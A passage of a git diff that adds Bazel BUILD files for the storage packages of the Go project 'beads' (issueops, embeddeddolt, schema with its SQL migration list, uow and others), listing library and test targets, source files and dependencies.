"issue_search_missing_table_test.go", + "issue_search_table_window_test.go", + "issue_search_test.go", + "issue_search_union_window_test.go", + "issue_search_window_test.go", + "issue_test.go", + "issue_update_validation_test.go", + "issue_usecase_apply_update_test.go", + "issue_usecase_as_of_test.go", + "issue_usecase_delete_test.go", + "issue_usecase_test.go", + "journal_behavior_test.go", + "journal_completeness_test.go", + "journal_doltignore_test.go", + "journal_seq_test.go", + "label_test.go", + "label_usecase_test.go", + "normalize_update_value_test.go", + "parity_direct_test.go", + "ready_helpers_test.go", + "ready_helpers_usecase_test.go", + "ready_work_counts_test.go", + "ready_work_missing_table_test.go", + "ready_work_test.go", + "reopen_test.go", + "reopen_usecase_test.go", + "suite_test.go", + "update_same_status_test.go", + ], + embed = [":db"], + deps = [ + "//internal/storage", + "//internal/storage/dberrors", + "//internal/storage/depid", + "//internal/storage/doltutil", + "//internal/storage/domain", + "//internal/storage/issueops", + "//internal/storage/journalscan", + "//internal/storage/schema", + "//internal/testutil", + "//internal/types", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + "@com_github_go_sql_driver_mysql//:mysql", + "@com_github_google_uuid//:uuid", + "@com_github_stretchr_testify//assert", + "@com_github_stretchr_testify//require", + "@com_github_stretchr_testify//suite", + ], +) diff --git a/internal/storage/domain/fs/BUILD.bazel b/internal/storage/domain/fs/BUILD.bazel new file mode 100644 index 000000000..cee74b233 --- /dev/null +++ b/internal/storage/domain/fs/BUILD.bazel @@ -0,0 +1,40 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "fs", + srcs = [ + "beads.go", + "context.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/domain/fs", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/beads", + "//internal/config", + "//internal/configfile", + "//internal/doltserver", + "//internal/storage/domain", + "//internal/utils", + ], +) + +go_test( + name = "fs_test", + srcs = [ + "beads_test.go", + "context_test.go", + "suite_test.go", + ], + embed = [":fs"], + deps = [ + "//internal/beads", + "//internal/config", + "//internal/configfile", + "//internal/git", + "//internal/storage/backendnames", + "//internal/storage/domain", + "//internal/utils", + "@com_github_stretchr_testify//require", + "@com_github_stretchr_testify//suite", + ], +) diff --git a/internal/storage/domain/git/BUILD.bazel b/internal/storage/domain/git/BUILD.bazel new file mode 100644 index 000000000..28ba7bfa0 --- /dev/null +++ b/internal/storage/domain/git/BUILD.bazel @@ -0,0 +1,25 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "git", + srcs = ["git.go"], + importpath = "github.com/steveyegge/beads/internal/storage/domain/git", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/git", + "//internal/storage/domain", + ], +) + +go_test( + name = "git_test", + srcs = [ + "git_test.go", + "suite_test.go", + ], + embed = [":git"], + deps = [ + "//internal/storage/domain", + "@com_github_stretchr_testify//suite", + ], +) diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel new file mode 100644 index 000000000..f6b8f77f0 --- /dev/null +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -0,0 +1,233 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "embeddeddolt", + srcs = [ + "batch_applier.go", + "batch_closer.go", + "batch_creator.go", + "blockingannotator.go", + "bootstrapper.go", + "cache.go", + "cache_cleanup.go", + "child_id.go", + "commenter.go", + "config_metadata.go", + "counter.go", + "counts.go", + "create_issue.go", + "cycle_detector.go", + "deleter.go", + "dependencies.go", + "dependency_editor.go", + "detection.go", + "edgereader.go", + "federation.go", + "get_issue.go", + "graph_counter.go", + "init_verifier.go", + "issue_claimer.go", + "issue_operations.go", + "issue_operations_tx.go", + "issue_reader.go", + "issues.go", + "iter_stubs.go", + "journal_accessor.go", + "labels.go", + "list_queries.go", + "memories.go", + "merge_slot.go", + "metadata_cas.go", + "open.go", + "open_stub.go", + "querier.go", + "queries.go", + "readonly.go", + "ready_claimer.go", + "ready_counter.go", + "relations.go", + "releaser.go", + "schema.go", + "slots.go", + "statistics.go", + "stats_reporter.go", + "store.go", + "store_stub.go", + "sweeper.go", + "transaction.go", + "tree_walker.go", + "version_control.go", + "version_reconciler.go", + "workspace_config.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/embeddeddolt", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/memoryapi", + "//internal/storage", + "//internal/storage/domain", + "//internal/storage/issueops", + "//internal/storage/memoryops", + "//internal/storage/schema", + "//internal/storage/versioncontrolops", + "//internal/types", + "//internal/utils", + "//internal/workapi", + "//internal/workapi/storecounter", + "//internal/workapi/storequerier", + "//internal/workapi/storereader", + "//internal/workapi/storereadycounter", + "//internal/workapi/storestats", + "//internal/workapi/storeversionreconciler", + "//internal/workapi/storeworkspaceconfig", + "//issueops", + "//memoryops", + "@com_github_cenkalti_backoff_v4//:backoff", + "@com_github_dolthub_driver_v2//:driver", + ], +) + +go_test( + name = "embeddeddolt_test", + srcs = [ + "active_database_size_test.go", + "batch_apply_contract_test.go", + "batch_closer_contract_test.go", + "batch_creator_contract_test.go", + "blocked_recompute_test.go", + "blocking_annotator_contract_test.go", + "bootstrapper_contract_test.go", + "cache_cleanup_test.go", + "cache_test.go", + "checked_wrapper_smoke_test.go", + "child_id_test.go", + "claim_wrapper_smoke_test.go", + "claimer_contract_test.go", + "commenter_contract_test.go", + "comments_page_test.go", + "commit_all_cgo_test.go", + "commit_all_internal_test.go", + "commit_nothing_to_commit_test.go", + "concurrency_test.go", + "conformance_test.go", + "counter_contract_test.go", + "counts_missing_table_test.go", + "counts_wisp_test.go", + "create_issue_test.go", + "cross_record_invariant_contract_test.go", + "cross_table_id_collision_test.go", + "cycle_detector_contract_test.go", + "deleter_contract_test.go", + "dependencies_test.go", + "dependency_editor_contract_test.go", + "dependency_editor_version_history_test.go", + "dependents_records_test.go", + "detection_test.go", + "dirty_tables_gate_test.go", + "dualwrite_history_contract_test.go", + "edge_reader_contract_test.go", + "events_since_test.go", + "expected_revision_contract_test.go", + "external_dependencies_test.go", + "federation_credentials_test.go", + "get_issue_test.go", + "graph_counter_contract_test.go", + "history_presence_contract_test.go", + "history_test.go", + "is_blocked_batch_test.go", + "issue_lifecycle_test.go", + "issue_operations_behavior_test.go", + "issue_operations_contract_test.go", + "issue_operations_persistence_test.go", + "issue_operations_staging_test.go", + "journal_accessor_test.go", + "journal_actor_matrix_test.go", + "journal_autoprune_test.go", + "journal_concurrency_test.go", + "journal_contract_test.go", + "journal_retention_test.go", + "journal_truncation_test.go", + "label_list_all_benchmark_test.go", + "lease_replica_test.go", + "lease_test.go", + "lenient_gate_warning_test.go", + "lifecycle_close_reopen_contract_test.go", + "lifecycle_create_contract_test.go", + "lifecycle_role_hooks_test.go", + "lifecycle_update_contract_test.go", + "memories_contract_test.go", + "merge_blockers_test.go", + "merge_strategy_test.go", + "metadata_cas_contract_test.go", + "migrate_dep_rekey_dedup_test.go", + "migrate_events_flip_test.go", + "migrate_frozen_guard_convergence_test.go", + "migrate_ignored_cursor_untrack_test.go", + "migrate_ignored_plane_shape_test.go", + "migrate_journal_shape_repair_test.go", + "migrate_repair_atomicity_test.go", + "migrate_selfheal_test.go", + "migrate_wisp_dep_forward_repair_test.go", + "new_methods_test.go", + "open_test.go", + "post_sql_commit_test.go", + "preview_readonly_test.go", + "promote_no_history_test.go", + "pull_config_wedge_test.go", + "pull_settle_test.go", + "querier_contract_test.go", + "reader_contract_test.go", + "ready_claimer_contract_test.go", + "ready_counter_contract_test.go", + "ready_total_test.go", + "ready_work_missing_table_test.go", + "reject_stale_upsert_test.go", + "relations_contract_test.go", + "releaser_contract_test.go", + "remote_migrate_gate_test.go", + "remote_peer_auth_test.go", + "remote_sync_gate_test.go", + "reopen_category_test.go", + "retention_epoch_contract_test.go", + "role_fixture_kit_test.go", + "role_test_helpers_test.go", + "schema_test.go", + "search_missing_table_test.go", + "stats_reporter_contract_test.go", + "sweeper_contract_test.go", + "test_fixture_test.go", + "test_helpers_pure_test.go", + "transaction_indeterminate_test.go", + "transaction_phase_internal_test.go", + "transaction_wisp_lifecycle_persistence_test.go", + "tree_walker_contract_test.go", + "update_mergeops_test.go", + "version_completeness_behaviour_test.go", + "version_reconciler_contract_test.go", + "workspace_config_contract_test.go", + ], + embed = [":embeddeddolt"], + deps = [ + "//:beads", + "//backend/conformance", + "//internal/debug", + "//internal/eventsjournal", + "//internal/hooks", + "//internal/storage", + "//internal/storage/dberrors", + "//internal/storage/depid", + "//internal/storage/domain/db", + "//internal/storage/externaldeps", + "//internal/storage/issueops", + "//internal/storage/schema", + "//internal/storage/storagecontract", + "//internal/storage/versioncontrolops", + "//internal/types", + "//internal/workapi", + "//issueops", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + "@com_github_google_uuid//:uuid", + "@org_golang_x_sync//errgroup", + ], +) diff --git a/internal/storage/embeddeddolt/cmd/BUILD.bazel b/internal/storage/embeddeddolt/cmd/BUILD.bazel new file mode 100644 index 000000000..9cc6a5f67 --- /dev/null +++ b/internal/storage/embeddeddolt/cmd/BUILD.bazel @@ -0,0 +1,15 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library") + +go_library( + name = "cmd_lib", + srcs = ["main.go"], + importpath = "github.com/steveyegge/beads/internal/storage/embeddeddolt/cmd", + visibility = ["//visibility:private"], + deps = ["//internal/storage/embeddeddolt"], +) + +go_binary( + name = "cmd", + embed = [":cmd_lib"], + visibility = ["//:__subpackages__"], +) diff --git a/internal/storage/externaldeps/BUILD.bazel b/internal/storage/externaldeps/BUILD.bazel new file mode 100644 index 000000000..b5b75cde8 --- /dev/null +++ b/internal/storage/externaldeps/BUILD.bazel @@ -0,0 +1,43 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "externaldeps", + srcs = [ + "decorator.go", + "resolver.go", + "role_accessors.go", + "uow_decorator.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/externaldeps", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/storage/domain", + "//internal/storage/issueops", + "//internal/storage/uow", + "//internal/types", + "//internal/workapi", + "//internal/workapi/storereader", + "//internal/workapi/storereadycounter", + "//issueops", + "//memoryops", + ], +) + +go_test( + name = "externaldeps_test", + srcs = [ + "decorator_test.go", + "ready_wake_test.go", + "uow_decorator_test.go", + ], + embed = [":externaldeps"], + deps = [ + "//internal/storage", + "//internal/storage/domain", + "//internal/storage/issueops", + "//internal/storage/uow", + "//internal/types", + "//issueops", + ], +) diff --git a/internal/storage/fs/BUILD.bazel b/internal/storage/fs/BUILD.bazel new file mode 100644 index 000000000..acef63262 --- /dev/null +++ b/internal/storage/fs/BUILD.bazel @@ -0,0 +1,12 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "fs", + srcs = ["provider.go"], + importpath = "github.com/steveyegge/beads/internal/storage/fs", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage/domain", + "//internal/storage/domain/fs", + ], +) diff --git a/internal/storage/git/BUILD.bazel b/internal/storage/git/BUILD.bazel new file mode 100644 index 000000000..630162f65 --- /dev/null +++ b/internal/storage/git/BUILD.bazel @@ -0,0 +1,12 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "git", + srcs = ["provider.go"], + importpath = "github.com/steveyegge/beads/internal/storage/git", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage/domain", + "//internal/storage/domain/git", + ], +) diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel new file mode 100644 index 000000000..8e3cca3f7 --- /dev/null +++ b/internal/storage/issueops/BUILD.bazel @@ -0,0 +1,196 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "issueops", + srcs = [ + "aggregate.go", + "as_of.go", + "batch_apply.go", + "batching.go", + "blocked.go", + "blocked_consistency.go", + "blocked_merge.go", + "blocked_state.go", + "blocking_annotation.go", + "bootstrap.go", + "bulk_ops.go", + "child_id.go", + "claim.go", + "claim_next.go", + "close.go", + "close_batch.go", + "commenter.go", + "comments.go", + "commit_pending.go", + "compaction.go", + "config_helpers.go", + "config_metadata.go", + "count.go", + "create.go", + "create_batch.go", + "create_only_guard.go", + "cycle_report.go", + "cycles.go", + "delete.go", + "delete_role.go", + "dep_counts.go", + "dependencies.go", + "dependency_coordination.go", + "dependency_editor.go", + "dependency_queries.go", + "dependency_tree.go", + "derivedid.go", + "diff.go", + "edge_counts.go", + "edges.go", + "epic_closure.go", + "errors.go", + "events.go", + "execution.go", + "federation.go", + "filters.go", + "get_issue.go", + "helpers.go", + "history.go", + "history_presence.go", + "identity.go", + "journal.go", + "journal_autoprune.go", + "journal_dependencies.go", + "journal_prune.go", + "labels.go", + "lease.go", + "metadata.go", + "metadata_cas.go", + "molecule.go", + "persistence.go", + "promote.go", + "provenance.go", + "public_claim.go", + "public_create.go", + "public_hydration.go", + "public_snapshot.go", + "ready_work.go", + "ready_work_counts.go", + "ready_work_probe.go", + "relations.go", + "release_role.go", + "reopen.go", + "scan.go", + "search.go", + "search_counts.go", + "stale.go", + "statistics.go", + "sweep.go", + "tree_walk.go", + "unclaim.go", + "update.go", + "update_cas.go", + "version.go", + "version_commit.go", + "version_history.go", + "wake_defers.go", + "wisp_filter_convert.go", + "wisp_routing.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/issueops", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/debug", + "//internal/idgen", + "//internal/storage", + "//internal/storage/dberrors", + "//internal/storage/depid", + "//internal/storage/domain", + "//internal/storage/rowid", + "//internal/storage/sqlbuild", + "//internal/types", + "//internal/workapi", + "//issueops", + "@com_github_dolthub_go_mysql_server//sql", + "@com_github_go_sql_driver_mysql//:mysql", + "@com_github_gowebpki_jcs//:jcs", + ], +) + +go_test( + name = "issueops_test", + srcs = [ + "aggregate_authorize_transfer_test.go", + "as_of_test.go", + "batch_apply_test.go", + "batching_test.go", + "blocked_consistency_test.go", + "blocked_state_result_test.go", + "blocked_state_template_test.go", + "close_test.go", + "config_helpers_test.go", + "counts_missing_table_test.go", + "create_only_errors_test.go", + "create_only_guard_test.go", + "create_test.go", + "cycle_report_test.go", + "cycles_test.go", + "delete_cascade_tables_test.go", + "dependencies_test.go", + "dependency_coordination_test.go", + "dependency_queries_test.go", + "dependency_tree_test.go", + "edge_counts_test.go", + "edge_role_requests_test.go", + "execution_test.go", + "filters_test.go", + "get_issue_test.go", + "helpers_test.go", + "identity_parity_test.go", + "journal_autoprune_test.go", + "journal_completeness_test.go", + "journal_prune_test.go", + "journal_truncation_test.go", + "journal_vocabulary_test.go", + "lease_replica_test.go", + "metadata_test.go", + "public_claim_test.go", + "public_create_test.go", + "public_hydration_test.go", + "public_snapshot_test.go", + "ready_work_missing_table_test.go", + "ready_work_test.go", + "reopen_test.go", + "role_requests_test.go", + "row_lock_guard_test.go", + "scan_test.go", + "search_counts_test.go", + "search_goside_sort_test.go", + "search_lite_merge_test.go", + "search_missing_table_test.go", + "search_test.go", + "tree_walk_test.go", + "update_closed_fields_test.go", + "update_force_close_policy_test.go", + "update_mergeops_test.go", + "update_test.go", + "update_validation_test.go", + "version_completeness_test.go", + "version_history_durable_state_test.go", + "version_history_test.go", + "wisp_routing_test.go", + ], + data = glob(["testdata/**"]), + embed = [":issueops"], + deps = [ + "//internal/config", + "//internal/storage", + "//internal/storage/depid", + "//internal/storage/domain", + "//internal/storage/journalscan", + "//internal/storage/sqlbuild", + "//internal/types", + "//internal/validation", + "//issueops", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + "@com_github_dolthub_go_mysql_server//sql", + "@com_github_go_sql_driver_mysql//:mysql", + ], +) diff --git a/internal/storage/journalscan/BUILD.bazel b/internal/storage/journalscan/BUILD.bazel new file mode 100644 index 000000000..c2eb02e72 --- /dev/null +++ b/internal/storage/journalscan/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "journalscan", + srcs = ["journalscan.go"], + importpath = "github.com/steveyegge/beads/internal/storage/journalscan", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "journalscan_test", + srcs = ["journalscan_test.go"], + embed = [":journalscan"], +) diff --git a/internal/storage/kvkeys/BUILD.bazel b/internal/storage/kvkeys/BUILD.bazel new file mode 100644 index 000000000..be5e1ca3f --- /dev/null +++ b/internal/storage/kvkeys/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "kvkeys", + srcs = ["kvkeys.go"], + importpath = "github.com/steveyegge/beads/internal/storage/kvkeys", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "kvkeys_test", + srcs = ["kvkeys_test.go"], + embed = [":kvkeys"], +) diff --git a/internal/storage/memoryops/BUILD.bazel b/internal/storage/memoryops/BUILD.bazel new file mode 100644 index 000000000..e3acfef33 --- /dev/null +++ b/internal/storage/memoryops/BUILD.bazel @@ -0,0 +1,18 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "memoryops", + srcs = ["memories.go"], + importpath = "github.com/steveyegge/beads/internal/storage/memoryops", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage/issueops", + "//internal/storage/kvkeys", + ], +) + +go_test( + name = "memoryops_test", + srcs = ["memories_test.go"], + embed = [":memoryops"], +) diff --git a/internal/storage/rowid/BUILD.bazel b/internal/storage/rowid/BUILD.bazel new file mode 100644 index 000000000..e5b018c05 --- /dev/null +++ b/internal/storage/rowid/BUILD.bazel @@ -0,0 +1,15 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "rowid", + srcs = ["rowid.go"], + importpath = "github.com/steveyegge/beads/internal/storage/rowid", + visibility = ["//:__subpackages__"], + deps = ["@com_github_google_uuid//:uuid"], +) + +go_test( + name = "rowid_test", + srcs = ["rowid_test.go"], + embed = [":rowid"], +) diff --git a/internal/storage/schema/BUILD.bazel b/internal/storage/schema/BUILD.bazel new file mode 100644 index 000000000..c928d24d0 --- /dev/null +++ b/internal/storage/schema/BUILD.bazel @@ -0,0 +1,167 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "schema", + srcs = [ + "aux_row_id_backfill.go", + "backfill.go", + "cli_migrations.go", + "cli_prepared_ddl.go", + "content_skew.go", + "converged.go", + "dep_id_backfill.go", + "dirty_tables_error.go", + "ignored_cursor_untrack.go", + "lock.go", + "migration_content_hashes.go", + "migration_repairs.go", + "remote_migrate_gate.go", + "schema.go", + "smart_remote_migrate_gate.go", + "wisp_dep_forward_repair.go", + ], + embedsrcs = [ + "migrations/0001_create_issues.up.sql", + "migrations/0002_create_dependencies.up.sql", + "migrations/0003_create_labels.up.sql", + "migrations/0004_create_comments.up.sql", + "migrations/0005_create_events.up.sql", + "migrations/0006_create_config.up.sql", + "migrations/0007_create_metadata.up.sql", + "migrations/0008_create_child_counters.up.sql", + "migrations/0009_create_issue_snapshots.up.sql", + "migrations/0010_create_compaction_snapshots.up.sql", + "migrations/0011_create_repo_mtimes.up.sql", + "migrations/0012_create_routes.up.sql", + "migrations/0013_create_issue_counter.up.sql", + "migrations/0014_create_interactions.up.sql", + "migrations/0015_create_federation_peers.up.sql", + "migrations/0016_default_config.up.sql", + "migrations/0017_create_ready_issues_view.up.sql", + "migrations/0018_create_blocked_issues_view.up.sql", + "migrations/0019_wisps_dolt_ignore.up.sql", + "migrations/0020_create_wisps.up.sql", + "migrations/0021_create_wisp_auxiliary.up.sql", + "migrations/0022_wisp_dep_type_index.up.sql", + "migrations/0023_add_no_history_column.up.sql", + "migrations/0024_create_custom_status_type_tables.up.sql", + "migrations/0025_update_ready_issues_view.up.sql", + "migrations/0026_update_blocked_issues_view.up.sql", + "migrations/0027_add_started_at.up.sql", + "migrations/0028_local_state_dolt_ignore.up.sql", + "migrations/0029_create_local_metadata.up.sql", + "migrations/0030_migrate_local_metadata_keys.up.sql", + "migrations/0031_wisp_events_created_at_index.up.sql", + "migrations/0032_drop_schema_migrations_applied_at.up.sql", + "migrations/0033_add_wisp_type_column.up.sql", + "migrations/0034_add_spec_id_column.up.sql", + "migrations/0035_migrate_infra_to_wisps.up.sql", + "migrations/0036_cleanup_autopush_metadata.up.sql", + "migrations/0037_uuid_primary_keys.up.sql", + "migrations/0038_drop_hop_columns.up.sql", + "migrations/0039_drop_child_counters_fk.up.sql", + "migrations/0040_ignored_tables_also_nonlocal_tables.up.sql", + "migrations/0041_split_dependencies_target.up.sql", + "migrations/0042_add_on_update_cascade.up.sql", + "migrations/0043_drop_dependencies_generated_column.up.sql", + "migrations/0044_update_views_drop_depends_on_id.up.sql", + "migrations/0045_update_blocked_view_drop_depends_on_id.up.sql", + "migrations/0046_add_is_blocked.up.sql", + "migrations/0047_recompute_mixed_is_blocked.up.sql", + "migrations/0048_widen_event_value_columns.up.sql", + "migrations/0049_longtext_large_content_columns.up.sql", + "migrations/0050_dependencies_deterministic_id.up.sql", + "migrations/0051_drop_aux_id_defaults.up.sql", + "migrations/0052_add_date_indexes.up.sql", + "migrations/0053_repair_rig_wisps.up.sql", + "migrations/0054_add_lease_columns.up.sql", + "migrations/0055_move_leases_to_table.up.sql", + "migrations/0056_add_comments_keyset_index.up.sql", + "migrations/0057_events_value_columns_idempotent_longtext.up.sql", + "migrations/0058_heal_wisp_dependencies_split_constraints.up.sql", + "migrations/0059_recompute_null_gate_is_blocked.up.sql", + "migrations/0060_add_storage_class.up.sql", + "migrations/0061_content_derived_aux_ids.up.sql", + "migrations/0062_events_dolt_ignore.up.sql", + "migrations/0063_create_provenance_events.up.sql", + "migrations/0064_create_events_journal.up.sql", + "migrations/0065_widen_wisp_comments_text.up.sql", + "migrations/0066_add_events_journal_actor.up.sql", + "migrations/0067_add_versioned_beads_schema.up.sql", + "migrations/0068_add_attribution_status.up.sql", + "migrations/ignored/0001_create_local_state_tables.up.sql", + "migrations/ignored/0002_create_wisp_child_counters.up.sql", + "migrations/ignored/0003_split_wisp_dependencies_target.up.sql", + "migrations/ignored/0004_add_wisp_aux_fks.up.sql", + "migrations/ignored/0005_drop_wisp_dependencies_generated_column.up.sql", + "migrations/ignored/0006_add_wisp_is_blocked.up.sql", + "migrations/ignored/0007_recompute_wisp_is_blocked.up.sql", + "migrations/ignored/0008_widen_wisp_event_value_columns.up.sql", + "migrations/ignored/0009_aux_row_id_rekey_marker.up.sql", + "migrations/ignored/0010_drop_wisp_id_defaults.up.sql", + "migrations/ignored/0011_cleanup_orphaned_child_counters.up.sql", + "migrations/ignored/0012_create_leases.up.sql", + "migrations/ignored/0013_add_wisp_row_lock.up.sql", + "migrations/ignored/0014_add_wisp_comments_keyset_index.up.sql", + "migrations/ignored/0015_recompute_null_gate_wisp_is_blocked.up.sql", + "migrations/ignored/0016_add_lease_granted_node.up.sql", + "migrations/ignored/0017_add_wisps_defer_until_index.up.sql", + "migrations/ignored/0018_aux_row_id_rekey2_marker.up.sql", + "migrations/ignored/0019_create_events.up.sql", + "migrations/ignored/0020_add_wisp_storage_class.up.sql", + "migrations/ignored/0021_widen_wisp_large_content_columns.up.sql", + "migrations/ignored/0022_create_events_journal.up.sql", + "migrations/ignored/0023_repair_events_journal_shape.up.sql", + "migrations/ignored/0024_widen_wisp_comments_text.up.sql", + "migrations/ignored/0025_add_events_journal_actor.up.sql", + "migrations/ignored/0026_dep_rekey_dedup_marker.up.sql", + "migrations/ignored/0027_add_wisps_current_revision.up.sql", + ], + importpath = "github.com/steveyegge/beads/internal/storage/schema", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/debug", + "//internal/storage/dberrors", + "//internal/storage/depid", + "//internal/storage/issueops", + "//internal/storage/rowid", + "//internal/types", + "@org_golang_x_term//:term", + ], +) + +go_test( + name = "schema_test", + srcs = [ + "aux_row_id_backfill_test.go", + "aux_row_id_drift_test.go", + "call_returning_row_test.go", + "cli_prepared_ddl_test.go", + "content_hash_test.go", + "content_skew_test.go", + "converged_test.go", + "cursor_reality_test.go", + "dep_id_backfill_test.go", + "dolt_ignore_seed_test.go", + "ignored_cursor_untrack_test.go", + "lock_test.go", + "migration_0067_versioned_beads_test.go", + "migration_0068_add_attribution_status_test.go", + "migration_body_drain_test.go", + "progress_test.go", + "remote_migrate_gate_test.go", + "schema_skew_test.go", + "schema_test.go", + "shared_store_migrate_gate_test.go", + "smart_remote_migrate_gate_test.go", + ], + embed = [":schema"], + deps = [ + "//internal/debug", + "//internal/storage/depid", + "//internal/storage/rowid", + "//internal/testutil", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + "@com_github_go_sql_driver_mysql//:mysql", + ], +) diff --git a/internal/storage/sqlbuild/BUILD.bazel b/internal/storage/sqlbuild/BUILD.bazel new file mode 100644 index 000000000..5e8259312 --- /dev/null +++ b/internal/storage/sqlbuild/BUILD.bazel @@ -0,0 +1,35 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "sqlbuild", + srcs = [ + "counts.go", + "filter.go", + "labels.go", + "ready.go", + "reclaim.go", + "sort.go", + "sqlbuild.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/sqlbuild", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/storage/domain", + "//internal/types", + ], +) + +go_test( + name = "sqlbuild_test", + srcs = [ + "filter_test.go", + "imports_boundary_test.go", + "keyset_test.go", + "labels_test.go", + "reclaim_test.go", + "sqlbuild_test.go", + ], + embed = [":sqlbuild"], + deps = ["//internal/types"], +) diff --git a/internal/storage/storagecontract/BUILD.bazel b/internal/storage/storagecontract/BUILD.bazel new file mode 100644 index 000000000..7589dcc06 --- /dev/null +++ b/internal/storage/storagecontract/BUILD.bazel @@ -0,0 +1,9 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "storagecontract", + srcs = ["history_presence.go"], + importpath = "github.com/steveyegge/beads/internal/storage/storagecontract", + visibility = ["//:__subpackages__"], + deps = ["//internal/storage"], +) diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel new file mode 100644 index 000000000..c855073e2 --- /dev/null +++ b/internal/storage/uow/BUILD.bazel @@ -0,0 +1,177 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "uow", + srcs = [ + "batch_applier.go", + "batch_closer.go", + "batch_creator.go", + "blockingannotator.go", + "bootstrapper.go", + "commenter.go", + "counter.go", + "cycle_detector.go", + "deleter.go", + "dependency_editor.go", + "dolt_sql_provider.go", + "doltserver_provider.go", + "doltserver_tx.go", + "edgereader.go", + "errors.go", + "events_journal.go", + "external_doltserver_provider.go", + "graph_counter.go", + "importer.go", + "init_verifier.go", + "issue_claimer.go", + "issue_operations.go", + "issue_reader.go", + "journal_maintenance.go", + "maintenance.go", + "memories.go", + "metadata_cas.go", + "notifying.go", + "pool.go", + "querier.go", + "ready_claimer.go", + "ready_counter.go", + "relations.go", + "releaser.go", + "stats_reporter.go", + "sweeper.go", + "team_server_schema.go", + "tree_walker.go", + "tx.go", + "uow.go", + "version_reconciler.go", + "wake_defers.go", + "workspace_config.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/uow", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/configfile", + "//internal/debug", + "//internal/hooks", + "//internal/memoryapi", + "//internal/storage", + "//internal/storage/dberrors", + "//internal/storage/dbproxy/proxy", + "//internal/storage/dbproxy/server", + "//internal/storage/dbproxy/util", + "//internal/storage/domain", + "//internal/storage/domain/db", + "//internal/storage/issueops", + "//internal/storage/memoryops", + "//internal/storage/schema", + "//internal/types", + "//internal/workapi", + "//issueops", + "//memoryops", + "@com_github_cenkalti_backoff_v4//:backoff", + "@com_github_go_sql_driver_mysql//:mysql", + ], +) + +go_test( + name = "uow_test", + srcs = [ + "batch_apply_contract_test.go", + "batch_closer_contract_test.go", + "batch_creator_contract_test.go", + "blocking_annotator_contract_test.go", + "bootstrapper_contract_test.go", + "claimer_contract_test.go", + "commenter_contract_test.go", + "counter_contract_test.go", + "cross_record_invariant_contract_test.go", + "cycle_detector_contract_test.go", + "deleter_contract_test.go", + "dependency_editor_contract_test.go", + "dolt_sql_provider_lock_test.go", + "dolt_sql_provider_test.go", + "doltserver_provider_test.go", + "doltserver_tx_test.go", + "dualwrite_history_contract_test.go", + "edge_reader_contract_test.go", + "errors_test.go", + "expected_revision_contract_test.go", + "external_doltserver_provider_test.go", + "graph_counter_contract_test.go", + "importer_contract_test.go", + "importer_uow_test.go", + "issue_claimer_test.go", + "issue_operations_claim_contract_test.go", + "issue_operations_contract_test.go", + "issue_operations_force_close_policy_test.go", + "issue_operations_test.go", + "issue_operations_update_real_uow_test.go", + "issue_reader_test.go", + "journal_contract_test.go", + "journal_delete_actor_test.go", + "journal_scope_test.go", + "lifecycle_close_reopen_contract_test.go", + "lifecycle_create_contract_test.go", + "lifecycle_role_hooks_test.go", + "lifecycle_update_contract_test.go", + "lostupdate_dolt_test.go", + "memories_contract_test.go", + "metadata_cas_contract_test.go", + "metadata_patch_dolt_test.go", + "notifying_integration_test.go", + "notifying_parity_test.go", + "notifying_test.go", + "preview_provider_test.go", + "querier_contract_test.go", + "reader_contract_test.go", + "ready_claimer_contract_test.go", + "ready_counter_contract_test.go", + "relations_contract_test.go", + "releaser_contract_test.go", + "retention_epoch_contract_test.go", + "role_fixture_kit_test.go", + "session_database_test.go", + "shared_server_cleanup_guard_test.go", + "shared_server_cleanup_test.go", + "shared_store_migrate_gate_test.go", + "stats_reporter_contract_test.go", + "sweeper_contract_test.go", + "team_server_integration_test.go", + "team_server_schema_test.go", + "testmain_test.go", + "tree_walker_contract_test.go", + "tx_test.go", + 